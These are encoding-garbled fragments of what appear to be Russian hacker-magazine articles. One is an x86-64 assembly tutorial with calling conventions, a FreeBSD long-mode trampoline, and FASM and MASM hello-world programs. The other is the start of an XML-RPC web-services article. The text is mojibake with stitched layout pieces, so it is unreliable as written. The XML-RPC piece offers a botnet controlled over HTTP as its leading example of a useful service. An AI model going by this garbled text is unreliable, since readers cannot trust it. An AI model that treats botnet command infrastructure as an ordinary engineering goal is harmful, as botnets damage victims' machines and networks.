ðàõ RCX, RDX, R8 è R9 (ðåãèñòðû ïåðå÷èñëåíû
â ïîðÿäêå ñëåäîâàíèÿ àðãóìåíòîâ, êðàéíèé ëå-

âûé àðãóìåíò ïîìåùàåòñÿ â RCX). À óæ îñòàëüíûå ïàðàìåòðû êëàäóòñÿ
â ñòåê. Âñå ýòî íàçûâàåòñÿ x86-64 fast calling conversion (ñîãëàøåíèå î
áûñòðîé ïåðåäà÷å ïàðàìåòðîâ äëÿ x86-64), ïîäðîáíîå îïèñàíèå êîòîðîé
ìîæíî íàéòè â ñòàòüå The history of calling conventions, part 5 amd64
(http://blogs.msdn.com/oldnewthing/archive/2004/01/14/58579.aspx). Òàêæå
ñîâåòóþ çàãëÿíóòü íà ñòðàíè÷êó áåñïëàòíîãî êîìïèëÿòîðà Free PASCAL
è ïîäíÿòü äîêóìåíòàöèþ ïî ñïîñîáàì âûçîâà API: http://www.freepascal.org/
wiki/index.php/Win64/AMD64_API. Â ÷àñòíîñòè, âûçîâ ôóíêöèè ñ ïÿòüþ
àðãóìåíòàìè API_func(1,2,3,4,5) âûãëÿäèò òàê:

mov dword ptr [rsp+20h], 5 ; êëàäåì íà ñòåê ïÿòûé ñëåâà àðãóìåíò
mov r9d, 4 ; ïåðåäàåì ÷åòâåðòûé ñëåâà àðãóìåíò
mov r8d, 3 ; ïåðåäàåì òðåòèé ñëåâà àðãóìåíò
mov edx, 2 ; ïåðåäàåì âòîðîé ñëåâà àðãóìåíò
mov ecx, 1 ; ïåðåäàåì ïåðâûé ñëåâà àðãóìåíò
call API_func

Ñìåùåíèå ïÿòîãî àðãóìåíòà îòíîñèòåëüíî âåðõóøêè ñòåêà òðåáóåò ïîÿñ-
íåíèé. Ïî÷åìó îíî ðàâíî 20h? Âåäü àäðåñ âîçâðàòà çàíèìàåò òîëüêî 8
áàéò. Êàêàÿ ñó� ñóùíîñòü ñúåëà âñå îñòàëüíûå? Îêàçûâàåòñÿ, îíè ðåçåð-
âèðóþòñÿ äëÿ ïåðâûõ ÷åòûðåõ àðãóìåíòîâ, ïåðåäàííûõ ÷åðåç ðåãèñòðû.
Çàðåçåðâèðîâàííûå ÿ÷åéêè ñîäåðæàò íåèíèöèàëèçèðîâàííûé ìóñîð è ïî-
áóðæóéñêè íàçûâàþòñÿ spill, ÷òî ïåðåâîäèòñÿ êàê çàòû÷êà èëè ïîòåðÿ.
Âîò ìèíèìóì çíàíèé, íåîáõîäèìûõ äëÿ âûæèâàíèÿ â ìèðå 64-áèòíîé
Windows ïðè ïðîãðàììèðîâàíèè íà àññåìáëåðå. Îñòàåòñÿ ðàçîáðàòü
ñàìóþ ìàëîñòü: êàê ýòè ñàìûå 64-áèòà çàïîëó÷èòü?! Äëÿ ïåðåâîäà
FASM'à â x86-64 ðåæèì äîñòàòî÷íî óêàçàòü äèðåêòèâó use64 è äàëü-
øå êîäèòü êàê îáû÷íî.
Íèæå èäåò ïðèìåð ïðîñòåéøåé x86-64 ïðîãðàììû, êîòîðàÿ íå äåëàåò
íè÷åãî, òîëüêî âîçâðàùàåò â ðåãèñòðå RAX çíà÷åíèå 0. 

ðåãèñòðû, äîñòóïíûå â x86-64 ðåæèìå

64-áèòíûé ôàéë �
ïåðâûé ïîëåò

ðåàêöèÿ 32-áèòíîé Windows íà ïî-
ïûòêó çàïóñêà 64-áèòíîãî PE-ôàéëà

ÏÅÐÅÕÎÄ ÂÂ 664-ÐÐÀÇÐßÄÍÛÉ ÐÐÅÆÈÌ
Êàê èçâåñòíî, â èñõîäíèêàõ FreeBSD
ìîæíî íàéòè ôàéë amd64_tramp.S,
áûñòðî è ãðÿçíî ïåðåâîäÿùèé 
ïðîöåññîð â 64-ðåæèì. Îòêîìïèëè-
ðîâàâ, åãî ìîæíî çàïèñàòü â boot-
ñåêòîð, çàãðóæàþùèé íàøó
ñîáñòâåííóþ îïåðàöèîííóþ ñèñòåìó
(òû âåäü ïèøåøü åå, ïðàâäà?), 
èëè ñëèíêîâàòü com-ôàéë, çàïóñêàå-
ìûé èç ðåàëüíîãî x86-ðåæèìà (äëÿ
ýòîãî ïîòðåáóåòñÿ ÷èñòàÿ MS-DOS
áåçî âñÿêèõ ýêñòåíäåðîâ). Â îáùåì,
âàðèàíòîâ, êàê ñ ýòèì ñïðàâèòüñÿ,
äîâîëüíî ìíîãî.

[ïåðåâîä ïðîöåññîðà â 64-ðàçðÿäíûé ðåæèì]

//$FreeBSD: /repoman/r/ncvs/src/sys/boot/i386/
libi386/amd64_tramp.S,v 1.4 2004/05/14 

/*
* Quick and dirty trampoline to get into 64 bit

(long) mode and running
* with paging enabled so that we enter the ker-

nel at its linked address.
*/

#define MSR_EFER 0xc0000080
#define EFER_LME 0x00000100
#define CR4_PAE 0x00000020
#define CR4_PSE 0x00000010
#define CR0_PG 0x80000000

/* GRRR. Deal with BTX that links us for a non-
zero location */

#define VPBASE 0xa000
#define VTOP(x) ((x) + VPBASE)

.data

.p2align 12,0x40

.globl PT4
PT4:

.space 0x1000

.globl PT3
PT3:

.space 0x1000

.globl PT2
PT2:

.space 0x1000

gdtdesc:
.word gdtend - gdt
.long VTOP(gdt) # low
.long0 # high

gdt:
.long 0 # null descriptor
.long 0
.long 0x00000000 # %cs
.long 0x00209800
.long 0x00000000 # %ds
.long 0x00008000

gdtend:

.text

.code32

.globl amd64_tramp
amd64_tramp:

/* Be sure that interrupts are disabled */
cli
/* Turn on EFER.LME */
movl $MSR_EFER, %ecx
rdmsr
orl $EFER_LME, %eax
wrmsr

/* Turn on PAE */
movl %cr4, %eax
orl $(CR4_PAE | CR4_PSE), %eax
movl %eax, %cr4

/* Set %cr3 for PT4 */
movl $VTOP(PT4), %eax
movl %eax, %cr3

/* Turn on paging (implicitly sets EFER.LMA) */
movl %cr0, %eax
orl $CR0_PG, %eax
movl %eax, %cr0

movl $VTOP(gdtdesc), %eax
movl VTOP(entry_hi), %esi
movl VTOP(entry_lo), %edi
lgdt (%eax)
ljmp $0x8, $VTOP(longmode)

.code64
longmode:

movl %esi, %eax
salq $32, %rax
orq %rdi, %rax
pushq %rax
ret

çàãðóçêà 64-ðàçðÿäíîãî Äåáèàíà
ïîä ýìóëÿòîðîì QEMU



; ñîîáùàåì FASM'ó, ÷òî ìû õîòèì ïðîãðàììèðîâàòü íà x86-64
use64
xor r9,r9 ; îáíóëÿåì ðåãèñòð r9
mov rax,r9 ; ïåðåñûëàåì â rax,r9 (ìîæíî ñðàçó mov rax,0, íî íåèíòåðåñíî)
ret ; âûõîäèì òóäà, îòêóäà ïðèøëè

Íèêàêèõ äîïîëíèòåëüíûõ àðãóìåíòîâ êîìàíäíîé ñòðîêè óêàçûâàòü íå íàäî,
ïðîñòî ñêàçàòü fasm file-name.asm � è âñå! ×åðåç ìãíîâåíèå îáðàçóåòñÿ ôàéë
file-name.bin, êîòîðûé â hex-ïðåäñòàâëåíèè âûãëÿäèò ñëåäóþùèì îáðàçîì:

[äèçàññåìáëåðíûé ëèñòèíã ïðîñòåéøåé 64-áèòíîé ïðîãðàììû]

4D 31 C9 xor r9, r9
4C 89 C8 mov rax, r9 
C3 retn

Ôîðìàëüíî ýòî òèïè÷íûé com-ôàéë, âîò òîëüêî çàïóñòèòü åãî íå óäàñò-
ñÿ (âî âñÿêîì ñëó÷àå íè îäíà ïîïóëÿðíàÿ îñü åãî íå ñúåñò) è íåîáõîäè-
ìî çàìóòèòü çàêîí÷åííûé ELF èëè PE, â çàãîëîâêå êîòîðîãî áóäåò ÿâíî
ïðîïèñàíà íóæíàÿ ðàçðÿäíîñòü.
Íà÷èíàÿ ñ âåðñèè 1.64, àññåìáëåð FASM ïîääåðæèâàåò ñïåöèàëüíóþ
äèðåêòèâó format PE64, àâòîìàòè÷åñêè ôîðìèðóþùóþ 64-ðàçðÿäíûé
PE-ôàéë (äèðåêòèâó use64 â ýòîì ñëó÷àå óêàçûâàòü óæå íå íóæíî), à â
êàòàëîãå EXAMPLES ìîæíî íàéòè ãîòîâûé ïðèìåð PE64DEMO, â êîòî-
ðîì ïîêàçàíî, êàê åå èñïîëüçîâàòü íà ïðàêòèêå.
Íèæå ïðèâåäåí ïðèìåð x86-64 ïðîãðàììû hello, world ñ êîììåíòàðèÿìè:

[64-áèòíîå ïðèëîæåíèå hello, world ïîä Windows íà FASM'å]

; ïðèìåð 64-áèòíîãî PE ôàéëà
; äëÿ åãî âûïîëíåíèÿ íåîáõîäèìî èìåòü Windows XP 64-bit edition

; óêàçûâàåì ôîðìàò
format PE64 GUI

; óêàçûâàåì òî÷êó âõîäà
entry start

; ñîçäàòü êîäîâóþ ñåêöèþ ñ àòðèáóòàìè íà ÷òåíèå è èñïîëíåíèå
section '.code' code readable executable
start: 

mov r9d,0 ; uType == MB_OK (êíîïêà ïî óìîë÷àíèþ)
; àðãóìåíòû ïî ñîãëàøåíèþ x86-64
; ïåðåäàþòñÿ ÷åðåç ðåãèñòðû, íå ÷åðåç ñòåê!
; ïðåôèêñ d çàäàåò ðåãèñòð ðàçìåðîì â ñëîâî,
; ìîæíî èñïîëüçîâàòü è mov r9,0, íî òîãäà
; ìàøèííûé êîä áóäåò íà áàéò äëèííåå

lea r8,[_caption] ; lpCaption ïåðåäàåì ñìåùåíèå
; êîìàíäà lea çàíèìàåò âñåãî 7 áàéò,
; à mov reg, offset � öåëûõ 11, òàê ÷òî
; lea íàìíîãî áîëåå ïðåäïî÷òèòåëüíà

ñïåöèàëüíàÿ ñáîðêà BOCHS'à óñïåøíî ïåðåõîäèò â x86-64 ðåæèì,
óâåðåííî ÷óâñòâóÿ ñåáÿ ïîä âèðòóàëüíîé ìàøèíîé VM Ware. Ýòî óæå
äâîéíàÿ ýìóëÿöèÿ ïîëó÷àåòñÿ!
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lea rdx,[_message] ; lpText ïåðåäàåì ñìåùåíèå âûâîäèìîé ñòðîêè

mov rcx,0 ; hWnd ïåðåäàì äåñêðèïòîð îêíà âëàäåëüöà
; (ìîæíî òàêæå èñïîëüçîâàòü xor rcx, rcx,
; ÷òî íà òðè áàéòà êîðî÷å)

call [MessageBox] ; âûçûâàåì ôóíêöèþ MessageBox

mov ecx,eax ; çàíîñèì â ecx ðåçóëüòàò âîçâðàòà
; (Ôóíêöèÿ ExitProcess îæèäàåò 32-áèòíûé ïàðàìåòð
; ìîæíî èñïîëüçîâàòü è mov rcx, rax, íî ýòî áóäåò
; íà áàéò äëèííåå)

call [ExitProcess] ; âûçûâàåì ôóíêöèþ ExitProcess

; ñîçäàòü ñåêöèþ äàííûõ ñ àòðèáóòàìè íà ÷òåíèå è çàïèñü
; (âîîáùå-òî â äàííîì ñëó÷àå àòðèáóò íà çàïèñü íåîáÿçàòåëåí,
; ïîñêîëüêó ìû íè÷åãî íå ïèøåì, à òîëüêî ÷èòàåì)
section '.data' data readable writeable

_caption db 'PENUMBRA is awesome!',0; ASCIIZ-ñòðîêà çàãîëîâêà îêíà
_message db 'Hello World!',0 ; ASCIIZ-ñòðîêà âûâîäèìàÿ íà ýêðàí

; ñîçäàòü ñåêöèþ èìïîðòà ñ àòðèáóòàìè íà ÷òåíèå è çàïèñü
; (çäåñü àòðèáóò íà çàïèñü îáÿçàòåëåí, ïîñêîëüêó ïðè çàãðóçêå PE-Ôàéëà
; â ñåêöèþ èìïîðòà ; áóäóò çàïèñûâàòüñÿ ôàêòè÷åñêèå àäðåñà API-ôóíêöèé)
section '.idata' import data readable writeable

dd 0,0,0,RVA kernel_name,RVA kernel_table 
dd 0,0,0,RVA user_name,RVA user_table
dd 0,0,0,0,0 ; çàâåðøàåì ñïèñîê äâóìÿ 64-ðàçðÿíûìè íóëåìè!!!

kernel_table:
ExitProcess dq RVA _ExitProcess
dq 0 ; çàâåðøàåì ñïèñîê 64-ðàçðÿíûì íóëåì!!!

user_table:
MessageBox dq RVA _MessageBoxA
dq 0

kernel_name db 'KERNEL32.DLL',0
user_name db 'USER32.DLL',0

_ExitProcess dw 0
db 'ExitProcess',0

_MessageBoxA dw 0
db 'MessageBoxA',0

Àññåìáëèðóåì ôàéë (fasm PE64DEMO.ASM) è çàïóñòèì îáðàçîâàâøèéñÿ EXE
íà âûïîëíåíèå. Ïîä 32-ðàçðÿäíîé Windows îí, åñòåñòâåííî, íå çàïóñòèòñÿ.
Âäîâîëü íàèãðàâøèñü íàøåì ïåðâûì x86-64 ôàéëîì, çàãðóçèì åãî
â äèçàññåìáëåð (íàïðèìåð, â IDA Pro 4.7. Îíà õîòü è ìàòåðèòüñÿ,
ïðåäëàãàÿ èñïîëüçîâàòü ñïåöèàëüíóþ 64-áèòíóþ âåðñèþ, íî ïðè íà-
æàòèè íà yes âñå êîððåêòíî äèçàññåìáëèðóåò, âî âñÿêîì ñëó÷àå äî
òåõ ïîð, ïîêà íå ñòîëêíåòñÿ ñ ïîäëèííûì 64-áèòíûì àäðåñîì èëè
îïåðàíäîì, ñ êîòîðûì ïðîèçîéäåò îáðåçàíèå, â ÷àñòíîñòè, mov
r9,1234567890h äèçàññåìáëèðóåòñÿ, êàê mov r9, 34567890h, òàê ÷òî
ïåðåõîä íà 64-áèòíóþ âåðñèþ IDA âñå æå î÷åíü æåëàòåëåí, òåì áî-
ëåå, ÷òî, íà÷èíàÿ ñ IDA 4.9, îíà âõîäèò â áàçîâóþ ïîñòàâêó). Ïîñ-
ìîòðèì, ÷òî ó íàøåé ïðîãðàììû âíóòðè?

[äèçàññåìáëåðíûé ëèñòèíã 64-áèòíîãî ïðèëîæåíèÿ hello, world!]

.code:0000000000401000 41 B9 00 00 00 00 mov r9d, 0

.code:0000000000401006 4C 8D 05 F3 0F 00 00 lea r8, aPENUMBRA

.code:000000000040100D 48 8D 15 03 10 00 00 lea rdx, aHelloWorld ;
"Hello World!"
.code:0000000000401014 48 C7 C1 00 00 00 00 mov rcx, 0
.code:000000000040101B FF 15 2B 20 00 00 call cs:MessageBoxA
.code:0000000000401021 89 C1 mov ecx, eax
.code:0000000000401023 FF 15 13 20 00 00 call cs:ExitProcess

×òî æ, äîâîëüíî ãðîìîçäêî, îáúåìíî è êîíöåïòóàëüíî. Äëÿ ñðàâíåíèÿ,
äèçàññåìáëèðîâàííûé ëèñòèíã àíàëîãè÷íîãî 32-ðàçðÿäíîãî ôàéëà ïðè-
âåäåí íèæå. Ñòàðûé x86 êîä â 1,6 ðàç êîðî÷å! À âåäü ýòî òîëüêî äåìîí-
ñòðàöèîííàÿ ïðîãðàììà èç íåñêîëüêèõ ñòðîê! Íà ïîëíîâåñíûõ ïðèëîæå-
íèÿõ ðàçðûâ áóäåò òîëüêî íàðàñòàòü! Òàê ÷òî íå ñòîèò çëîóïîòðåáëÿòü

64-ðàçðÿäíûì êîäîì áåç íåîáõîäèìîñòè. Åãî ñëåäóåò èñïîëüçîâàòü
òîëüêî òàì, ãäå 64-áèòíàÿ àðèôìåòèêà è 8 äîïîëíèòåëüíûõ ðåãèñòðîâ
äåéñòâèòåëüíî äàþò îùóòèìûé âûèãðûø. Íàïðèìåð, â ìàòåìàòè÷åñêèõ
çàäà÷àõ èëè ïðîãðàììàõ äëÿ âñêðûòèÿ ïàðîëåé.

[äèçàññåìáëåðíûé ëèñòèíã 32-áèòíîãî ïðèëîæåíèÿ hello, world!]

code:00401000 6A 00 push0
code:00401002 68 00 20 40 00 pushoffset aPENUMBRA
code:00401007 68 17 20 40 00 pushoffset aHelloWorld
code:0040100C 6A 00 push0
code:0040100E FF 15 44 30 40 00 call ds:MessageBoxA
code:00401014 6A 00 push0
code:00401016 FF 15 3C 30 40 00 call ds:ExitProcess

Â êà÷åñòâå çàêëþ÷èòåëüíîãî óïðàæíåíèÿ ïåðåïèøåì íàøå ïðèëîæåíèå
â ñòèëå MASM, ïîêëîííèêîâ êîòîðîãî íóæíî íå áèòü, à óâàæàòü. Íèêàêèõ
ðàäèêàëüíûõ îòëè÷èé íå íàáëþäàåòñÿ:

[64-áèòíîå ïðèëîæåíèå hello, world ïîä Windows íà MASM'å]

; îáúÿâëÿåì âíåøíèå API-ôóíêöèè, êîòîðûå ìû áóäåì âûçûâàòü
extrn MessageBoxA: PROC
extrn ExitProcess: PROC

; ñåêöèÿ äàííûõ ñ àòðèáóòàìè ïî óìîë÷àíèþ (÷òåíèå è çàïèñü)
.data
mytit db 'PENUMBRA is awesome!', 0
mymsg db 'Hello World!', 0

; ñåêöèÿ êîäà ñ àòðèáóòàìè ïî óìîë÷àíèþ (÷òåíèå è èñïîëíåíèå)
.code
Main:
mov r9d, 0 ; uType = MB_OK
lea r8, mytit ; LPCSTR lpCaption
lea rdx, mymsg ; LPCSTR lpText
mov rcx, 0 ; hWnd = HWND_DESKTOP
call MessageBoxA
mov ecx, eax ; uExitCode = MessageBox(...)
call ExitProcess
End Main

Àññåìáëèðîâàíèå è ëèíêîâêà ïðîõîäèò òàê: 

ml64 XXX.asm /link /subsystem:windows /defaultlib:kernel32.lib /default-
lib:user32.lib /entry:main

â ðåçóëüòàòå ÷åãî îáðàçóåòñÿ ãîòîâûé ê óïîòðåáëåíèþ exe-ôàéë ñ ðóìÿíîé
ïîäæàðåííîé êîðî÷êîé íàøåãî ÖÏ (FASM àññåìáëèðóåò íàìíîãî áûñòðåå).
Êàê ïîêàçûâàåò ïðàêòèêà, çàïðîñû òèïà x86-64 [AMD64] assembler example
íåýôôåêòèâíû è ãîðàçäî ëó÷øå èñïîëüçîâàòü ÷òî-íèáóäü âðîäå mov rax.

[çàêëþ÷åíèå] Âîò ìû è ïîçíàêîìèëèñü ñ àðõèòåêòóðîé x86-64! Çäåñü
äåéñòâèòåëüíî åñòü ìåñòî, ãäå ðàçâåðíóòñÿ è ÷åìó ïîó÷èòüñÿ! Íàñêîëü-
êî ýòè çíàíèÿ îêàæóòñÿ âîñòðåáîâàíû íà ïðàêòèêå � òàê ñðàçó è íå ñêà-
æåøü. Ó AMD åñòü õîðîøèå øàíñû ïîøàòíóòü ðûíîê, íî âåäü è Intel íå
äðåìëåò, àêòèâíî ïðîäâèãàÿ ñîáñòâåííûå 64-ðàçðÿäíûå ïëàòôîðìû, èç-
âåñòíûå ïîä îáùåì èìåíåì IA64, íî î íèõ êàê-íèáóäü â äðóãîé ðàç 

äèçàññåìáëèðîâàíèå 64-áèòíîãî PE-ôàéëà 32-áèòíîé âåðñèé IDA Pro





[êàêèå åùå ñåðâèñû?] Âîîáùå ãîâîðÿ, ðå-
çîííûé âîïðîñ :). Â ñàìîì äåëå, êàêèå åùå ñåð-
âèñû, î ÷åì ÿ? Ñ ïîÿâëåíèåì Èíòåðíåòà ëþäè
ñòàëè ñîçäàâàòü ìàññó ðàçíîîáðàçíûõ ïðîäóê-
òîâ: êòî-òî íàïèñàë ïåðâûé ôîðóì, êòî-òî íà-
êîëáàñèë ñëîæíóþ ðàñïðåäåëåííóþ âû÷èñëè-Þ
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Ñîçäàíèå web-ñåðâèñîâ
ñ èñïîëüçîâàíèåì 
XML-RPC

òåëüíóþ ñèñòåìó äëÿ îáñ÷åòà êà-
êîãî-íèáóäü íàó÷íîãî îïûòà, êòî-
òî ðåøèë ñäåëàòü ïîèñêîâûé
öåíòð, êòî-òî � îðãàíèçîâàòü ïëà-
òåæíóþ ñèñòåìó è òàê äàëåå. Ó
âñåõ òàêèõ ñèñòåì âñåãäà åñòü, êàê
ìèíèìóì, äâå âçàèìîäåéñòâóþ-
ùèå ÷àñòè: ñåðâåð è êëèåíò. Ñàìî
ñîáîé, èì äëÿ ýòîãî íóæíî êàê-òî
îáùàòüñÿ. Íó, ñêàæåì, âîò òâîé
áðàóçåð, êîãäà òû ÷èòàåøü ôîðóì
íà xakep.ru, âçàèìîäåéñòâóåò ñ
web-ñåðâåðîì ïðè ïîìîùè ïðîòî-
êîëà http; òâîé wm-keaper ðàáîòà-
åò ñ ïëàòåæíûì öåíòðîì WM ïðè
ïîìîùè êàêîãî-òî äðóãîãî ïðèê-
ëàäíîãî ïðîòîêîëà. Êàçàëîñü, âñå
ïðîñòî ñóïåð, íî íà ïðàêòèêå íå
ñîâñåì òàê.
Ïîðîé, ðàñïëûâ÷àòîñòü îïèñàíèé
îïðåäåëåííûõ ñòàíäàðòîâ èëè èõ
íå÷åòêàÿ ðåàëèçàöèÿ, ïðèâîäèëà
ê íåñîâìåñòèìîñòè îòäåëüíûõ
ñèñòåì. Êðîìå òîãî, ðåáðîì âñòà-
ëà ïðîáëåìà âçàèìîäåéñòâèÿ
ìåæäó óäàëåííûìè ñèñòåìàìè,
ðàáîòàþùèìè ïîä ðàçëè÷íûìè
ïëàòôîðìàìè. Êàêèì îáðàçîì
óäîáíåå âñåãî îñóùåñòâèòü îá-
ìåí èíôîðìàöèåé ìåæäó, ñêà-
æåì, êàêîé-òî ïðîãðàììîé, íàïè-
ñàííîé äëÿ Windows, è íåêîòî-
ðûì cgi-ïðèëîæåíèåì ïîä Unix?
Ìàññà ëþäåé íàøëà îòâåò íà
ýòîò âîïðîñ â ñîçäàíèè ñîáñòâåí-
íûõ, ïîðîé, íåëåïûõ «ïðîòîêî-
ëîâ». Íî âîò ôèãíÿ � âñå îíè áû-
ëè ðàçíûìè è àáñîëþòíî íåñîâ-
ìåñòèìûìè äðóã ñ äðóãîì. Ýòî áûëî íåóäîáíî, äà è ãîðîäèòü êàæäûé
ðàç êàêîå-òî íîâîå ðåøåíèå � ýòî ìàðàçì. Ïîýòîìó ïðîãðàììèñòû

ÂÑÅ Â ÏÎÑËÅÄÍÅÅ ÂÐÅÌß ÏÎÌÅØÀËÈÑÜ ÍÀ
WEB-ÑÅÐÂÈÑÀÕ. ÂÑÅ ÁÎËÜØÅ ËÞÄÅÉ
×ÈÒÀÞÒ ÍÎÂÎÑÒÈ È ÔÎÐÓÌÛ ×ÅÐÅÇ RSS,
ÏÎÈÑÊÎÂÈÊ GOOGLE ÏÎÇÂÎËßÅÒ
ÎÑÓÙÅÑÒÂËßÒÜ ÇÀÏÐÎÑÛ ×ÅÐÅÇ
ÀÂÒÎÌÀÒÈ×ÅÑÊÈÅ HTTP-ÈÍÒÅÐÔÅÉÑÛ,
ÈÍÒÅÐÍÅÒ-ÏËÀÒÅÆÈ ÌÎÆÍÎ ÒÀÊÆÅ
ÝËÅÌÅÍÒÀÐÍÛÌ ÎÁÐÀÇÎÌ ÏÐÎÖÅÑÑÈÒÜ
×ÅÐÅÇ WEB-ÃÅÉÒÛ. ÏÐÈØËÎ ÂÐÅÌß
ÐÀÇÎÁÐÀÒÜÑß Ñ ÒÅÌ, ÊÀÊ ÂÑÅ ÝÒÎ ÐÀÁÎÒÀÅÒ
È ÊÀÊÈÌ ÎÁÐÀÇÎÌ ÌÎÆÍÎ ÎÐÃÀÍÈÇÎÂÀÒÜ
ÑÎÁÑÒÂÅÍÍÛÉ ÑÅÐÂÈÑ. ß ÐÀÑÑÊÀÆÓ ÒÅÁÅ Î
ÏÐÎÑÒÎÌ, ÑÒÀÍÄÀÐÒÈÇÎÂÀÍÍÎÌ È, ÄÎËÆÍÎ
ÁÛÒÜ, ÑÀÌÎÌ ÏÎÏÓËßÐÍÎÌ ÑÏÎÑÎÁÅ � ÎÁ
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Ñòàòüÿ XML-RPC vs SOAP:
http://weblog.masukomi.org/
writings/xml-
rpc_vs_soap.htm
Èñïîëüçîâàíèå SOAP â PHP5:
http://www.zend.com/php5/arti-
cles/php5-SOAP.php 
XMLRPC-EPI: http://xmlrpc-
epi.sourceforge.net
Fase 4 XML-RPC:
www.fase4.com/xmlrpc
phpRPC: http://source-
forge.net/projects/phprpc

phpxmlrpc: http://phpxml-
rpc.sourceforge.net

XML-RPC Êåéòà Äåâèíñà:
www.keithdevens.com/soft-
ware/xmlrpc

Ñïåöèôèêàöèÿ SOAP âåñèò
â 10 ðàç áîëüøå, ÷åì äî-
êóìåíò ñ îïèñàíèå XML-
RPC. Íîâàÿ òåõíîëîãèÿ
çíà÷èòåëüíî ñëîæíåå è
ôóíêöèîíàëüíåå. Çà íåé
áóäóùåå, íî ïåðåõîä ìîæ-
íî îñóùåñòâèòü ïëàâíî è
áåçáîëåçíåííî.

Íà íàøåì äèñêå òû íàé-
äåøü âñþ íåîáõîäèìóþ
äîêóìåíòàöèþ, ïðèìåð
XML-RPC ñèñòåìû èç
ñòàòüè, à òàêæå âñå âîç-
ìîæíûå ðåàëèçàöèè ýòî-
ãî ïðîòîêîëà äëÿ âñåõ
ÿçûêîâ.



ðåøèëè ðàçðàáîòàòü åäèíûé ñòàíäàðò, îñíîâàííûé íà èñïîëüçîâàíèè
XML-ïðåäñòàâëåíèÿ çàïðîñîâ è îòâåòîâ, êîòîðûé ïîëó÷èë íàçâàíèå
XML-RPC. RPC çäåñü ðàñøèôðîâûâàåòñÿ òàê: Remote Procedure Call
(Óäàëåííûé Âûçîâ Ïðîöåäóð). ×òîáû áûëî ïîíÿòíåå, î ÷åì ÿ ãîâîðþ,
ðàññêàæó, êàêîãî ðîäà ñåðâèñû è ñèñòåìû ìîæíî ñîçäàâàòü ïðè ïîìî-
ùè ýòîé òåõíîëîãèè.

[ïðèìåðû ñåðâèñîâ] Õîðîøèé ïðèìåð � îðãàíèçàöèÿ áîòíåòà, óï-
ðàâëÿåìîãî ïî http. Ñîçäàâàÿ äåñÿòêè òàêèõ ñèñòåì, ëþäè îáû÷íî «ãî-
ðîäÿò êàêîé-òî îãîðîä» ñ óïðàâëåíèåì. Êòî-òî èñïîëüçóåò HTTP GET,
êòî-òî ïåðåäàåò çàïðîñû â âèäå îòäåëüíûõ ïåðåìåííûõ, ïîñëàííûõ
POST'îì. Íî âñå ýòè äàííûå îáðàáàòûâàþòñÿ â ñêðèïòå è ýòî äîïîë-
íèòåëüíûé ãåìîððîé, îñîáåííî ïðè ìîùíîé ôóíêöèîíàëüíîñòè áîòíå-
òà è åãî ðàñïðåäåëåííîé ñòðóêòóðå. Íó, ïðåäñòàâü, ÷òî äëÿ ðåãèñòðà-
öèè íîâûõ áîòîâ èñïîëüçóåòñÿ íå îäèí ñåðâåð, à äåñÿòîê. Íóæíî, âî-
ïåðâûõ, êàêèì-òî îáðàçîì îñóùåñòâëÿòü âçàèìîäåéñòâèå ìåæäó áîòà-
ìè è ýòèìè ñåðâåðàìè, à âî-âòîðûõ, îáåñïå÷èòü ëèíêîâêó ìåæäó ñà-
ìèìè ñåðâåðàìè ðåãèñòðàöèè, ÷òîáû âñÿ èíôîðìàöèÿ áûëà äîñòóïíà
èç åäèíîãî «öåíòðà óïðàâëåíèÿ». Èñïîëüçîâàíèå XML-RPC çäåñü ïîç-
âîëèò, âî-ïåðâûõ, ñîêðàòèòü âðåìÿ íà ðàçðàáîòêó óïðàâëÿþùåé ñèñ-
òåìû, âî-âòîðûõ, ëåãêî ïîäîãíàòü è ïåðåäåëàòü åå ïîä ëþáîãî äðóãî-
ãî áîòà. Ñòîèò ëè ãîâîðèòü î ìàêñèìàëüíîé ñîâìåñòèìîñòè è ïðîñòî-
òå òàêîãî ïîäõîäà.
Äðóãîé ïðèìåð � ñêàæåì, àâòîìàòè÷åñêèé ïåðåâîä òåêñòîâ èëè
ïðîâåðêà îðôîãðàôèè. Ïðè ïîìîùè XML-RPÑ-çàïðîñà êëèåíòñêîå
ïðèëîæåíèå (õîòü ïëàãèí ê áðàóçåðó) îòïðàâëÿåò òåêñò äëÿ îáðàáîò-
êè è ïîëó÷àåò ïî ýòîìó æå ïðîòîêîëó ìãíîâåííî îòâåò îò ñèñòåìû.
Ê ñëîâó, òàêèå ñåðâèñû äàâíûì-äàâíî óæå åñòü â Ñåòè, ýòî íå ìîÿ
áîëüíàÿ ôàíòàçèÿ.
Âñå ïëþñû èñïîëüçîâàíèÿ XML-RPC ïî äîñòîèíñòâó îöåíèëà öåëàÿ êó-
÷à ðàçðàáîò÷èêîâ, êîòîðàÿ àêòèâíî èñïîëüçóåò XML-RPC â ñâîèõ ñèñòå-
ìàõ. Âåäü ðåàëèçàöèÿ ýòîãî ïðîòîêîëà åñòü ïðàêòè÷åñêè äëÿ ëþáîãî
ÿçûêà ïðîãðàììèðîâàíèÿ, è íàïèñàòü ñîáñòâåííûé web-ñåðâèñ ñîâñåì
íåñëîæíî. Â ýòîì ìû ñ òîáîé ñåãîäíÿ óáåäèìñÿ, íî ïðåæäå äàâàé ÿ ðàñ-
ñêàæó ïîïîäðîáíåå, êàê ôóíêöèîíèðóåò ïðîòîêîë, êàê îí âûãëÿäèò è
êàê èì ïîëüçîâàòüñÿ.

[êàê ýòî ðàáîòàåò] Ñëåäóåò ïîíèìàòü, ÷òî ñ òî÷êè çðåíèÿ ñåòåâîãî
âçàèìîäåéñòâèÿ, îáìåí äàííûìè ñ web-ñåðâèñàìè îñóùåñòâëÿåòñÿ
ïðè ïîìîùè ïðîòîêîëà TCP è ñ èñïîëüçîâàíèåì ñòàíäàðòíîãî ìåòîäà
POST HTTP. Â ïðèíöèïå, äëÿ web-ñåðâåðà, îáðàáàòûâàþùåãî XML-
RPC çàïðîñû, ýòî âûãëÿäèò òàê æå, êàê è îáû÷íàÿ îòïðàâëåííàÿ ìå-
òîäîì POST ôîðìà: òå æå äàííûå, ïåðåäà÷à èõ âûïîëíÿåìîìó ïðèëî-
æåíèþ, ÷òåíèå åãî ïîòîêà âûâîäà è âûïëåâûâàíèå ýòèõ äàííûõ êëè-
åíòó. Âñå, êàê è ïðåæäå, çà èñêëþ÷åíèåì òîãî, ÷òî äëÿ òðàíñïîðòèðîâ-
êè íåïîñðåäñòâåííî ÄÀÍÍÛÕ èñïîëüçóåòñÿ íîâûé ïðîòîêîë-
íàäñòðîéêà íàä HTTP, êîòîðûé ñòîèò íà óðîâåíü âûøå. Âåäü âñå äàí-
íûå óïàêîâûâàþòñÿ â XML-ïðåäñòàâëåíèå è â ýòîì âèäå ïåðåäàþòñÿ
